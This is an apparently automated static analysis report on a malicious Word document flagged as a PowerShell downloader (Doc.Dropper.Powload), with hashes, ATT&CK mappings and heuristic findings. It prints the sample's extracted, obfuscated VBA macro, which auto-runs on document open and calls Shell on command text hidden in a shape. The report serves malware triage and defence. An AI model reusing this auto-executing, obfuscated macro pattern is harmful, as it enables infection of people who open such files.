Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 411eccdac0a23ed0…

MALICIOUS

Office (OLE)

79.8 KB Created: 2018-11-09 18:07:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: cfa1dfacb495be7ad27df5f677a5cd52 SHA-1: 7473cfd76deb67ed1ee9a9150b7814f78c79e267 SHA-256: 411eccdac0a23ed022ec8d9206efccac918d6596a2c7bd421a9dfa4da6c602de
272 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Document_open macro triggers a Shell() call which executes a complex, obfuscated PowerShell command. This command appears to be designed to download and execute a second-stage payload, as indicated by the PowerShell references and the ClamAV detection name 'Doc.Dropper.Powload'.

Heuristics 9

  • ClamAV: Doc.Dropper.Powload-6745296-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Powload-6745296-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatNumber (DUnAZj + FYJZh + sodqks + YCQtLE) * (mnihKX + hWYCTl)
    IoXicfWSE = VBA.Shell(Shapes(ZTHOk + sPYzz + 1 + UXCdYmU + bqhAT).TextFrame.TextRange.Text + TtwWbWR + EdwPt, qjjjwHN)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1462 bytes
SHA-256: 83ed0402074a0c56bb954bfc7313177f5e45d818776f6a9679ac543611267bf7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
37 of 67 identifiers look randomly generated (e.g. 'sifptiKjIkYk'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sifptiKjIkYk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function JTqjDjw()
On Error Resume Next
Const qjjjwHN = 895395357 - 895395357
   FormatNumber JzRmRW + zYZCDB + EupVj + RpbOK * KRFoQ + fvtRb - maEoK + HTdjR / NwCZMU + DcKMQ + kIvYGH + SQiJSc
   TimeValue (GqidA + bSEGiY + YwcNnu + zMvXZi - wQsGj + DwljiQ * (JqrSX + ttTGvf + EUuvHE + PiCMz))
   FormatNumber qcKwfX + RIVczp - RcKwbA + iBqZdu + iofSX + DRJJQH
   FormatNumber (DUnAZj + FYJZh + sodqks + YCQtLE) * (mnihKX + hWYCTl)
IoXicfWSE = VBA.Shell(Shapes(ZTHOk + sPYzz + 1 + UXCdYmU + bqhAT).TextFrame.TextRange.Text + TtwWbWR + EdwPt, qjjjwHN)
End Function
Private Sub Document_open()
On Error Resume Next
   TimeValue pKwis + lpGGv - hoSCK + rhaKQq * JtckR + DiQQvA - GkTzN + NTsbk + bTnjri + HKjTJF
   TimeValue (saRXX + EkGNc + DcAQSs + qUPzYm)
   TimeValue vqomO + jAsjJf + (Dwhri + Fzkzz + nTTJY + PDomKi)
   FormatDateTime (dcslVI + MpDkZ / (HGoOf + TliiJ + LOkEP + lZusRi / rbMWr + iHfXE + mlsfMv + jjJuYH))
   FormatNumber zAQOo + znmHP + Ofzjqj + dHsthz + zliho + RGiHO + PYpwG + zEkEj + DrjwBH + iRVGM
   FormatDateTime (XQKsYt + tbDNk - ihTPj + iKSBQH)
JTqjDjw
   TimeValue (AZHAp + hRDoJ / (VksiuB + iwhUE - (BjqtR + tCFwic)))
End Sub